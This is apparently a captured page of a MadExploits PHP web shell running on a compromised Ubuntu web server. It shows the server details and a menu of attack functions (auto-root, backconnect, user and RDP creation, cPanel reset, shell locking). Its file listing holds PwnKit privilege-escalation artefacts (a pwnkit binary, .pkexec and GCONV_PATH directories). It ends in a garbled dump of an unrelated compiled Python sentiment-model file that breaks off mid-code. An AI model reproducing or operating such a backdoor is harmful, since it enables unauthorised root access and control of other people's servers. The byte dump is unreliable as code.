Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
meetwize /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
app.cpython-310.pyc
5.81
KB
-rw-r--r--
app.cpython-311.pyc
10.99
KB
-rw-rw-rw-
lstm_model.cpython-310.pyc
4.58
KB
-rw-r--r--
lstm_model.cpython-312.pyc
7.38
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lstm_model.cpython-312.pyc
� գg � �x � d dl Z d dlmZ d dlZd dlZd dlZd dlZd dlm Z d dl mZ ej d� ej d� ej d� e j e j j � rdnd� Z G d � d ej � Z e� Zd� Zd� Zd � Zdd�Zdd�Zd� Zy)� N)� stopwords)�WordNetLemmatizer�punktr �wordnet�cuda�cpuc �0 � � e Zd Z d� fd� Zd� Zd� Z� xZS )�SentimentRNNc �` �� t t | � � || _ || _ t j |dz |d�� | _ t j |||d|�� | _ t j d� | _ t j ||� | _ t j � | _ y )N� r )�padding_idxT)�batch_first�dropoutg333333�?)�superr �__init__�n_layers� hidden_dim�nn� Embedding� embedding�LSTM�lstm�Dropoutr �Linear�fc�Sigmoid�sig)�self� vocab_size� embedding_dimr � output_dimr � drop_prob� __class__s ��Gc:\Users\amank\OneDrive\Desktop\Meetwise\MeetWise\website\lstm_model.pyr zSentimentRNN.__init__ s� �� � �l�D�*�,� �� �$��� ���j��l�M�q�Q����G�G�M�:�x�(,�i�A�� � �z�z�#�����)�)�J� �3����:�:�<��� c � � |j d� }| j |� }| j ||� \ }}|d d �dd d �f }| j |� }| j |� }| j |� }||fS )Nr ���)�sizer r r r r )r �x�hidden� batch_size�embeds�lstm_out�out�sig_outs r$ �forwardzSentimentRNN.forward) st � ��V�V�A�Y� �����"���9�9�V�V�4���&��A�r�1�H�%���l�l�8�$���g�g�c�l���(�(�3�-�����r% c �l � t | j � � j }|j | j || j � j � j t � |j | j || j � j � j t � f}|S )N) �next� parameters�data�newr r �zero_�to�device)r r+ �weightr* s r$ �init_hiddenzSentimentRNN.init_hidden4 s� � ��d�o�o�'�(�-�-���*�*�T�]�]�J����H�N�N�P�S�S�TZ�[��*�*�T�]�]�J����H�N�N�P�S�S�TZ�[�]��� r% )� � r � g �?)�__name__� __module__�__qualname__r r0 r: � __classcell__)r# s @r$ r r s �� �AD�58� �$ �r% r c � � t | � j � } t j dd| � } t j dd| � } t j dd| � } t j dd| � } t j dd| � } t j dd| � } t j dd | � j � } t j | � }t t j d � � }|D �cg c] }||vs�|�� }}|D �cg c] }t j |� �� }}d j |� S c c}w c c}w )z1 Cleans and preprocesses the input text. z<.*?>� zhttp\S+|www.\S+z\S+@\S+z\d+z[^\w\s]z\b\w\bz\s+� �english) �str�lower�re�sub�strip�nltk� word_tokenize�setr �words� lemmatizer� lemmatize�join)�text�tokens� stop_words�words r$ �preprocess_textrV ? s � � �t�9�?�?��D� �6�6�(�B��%�D� �6�6�$�b�$�/�D� �6�6�*�b�$�'�D� �6�6�&�"�d�#�D� �6�6�*�b�$�'�D� �6�6�)�R��&�D� �6�6�&�#�t�$�*�*�,�D� � � �� %�F��Y�_�_�Y�/�0�J�%� @�t��Z�)?�d� @�F� @�5;� <�T�j�"�"�4�(� <�F� <��8�8�F���� A�� <s � E� E�Ec �h � | j � D �cg c] }|j |d� �� c}S c c}w )z_ Converts preprocessed text into a sequence of integers using the provided vocabulary. r )�split�get)rR �vocabrU s r$ �text_to_sequencer[ Q s) � � ,0�:�:�<�8�4�E�I�I�d�A��8�8��8s �/c � � t j d|ft �� }| d| }t |� dkD r&t j |� |dt |� d�f<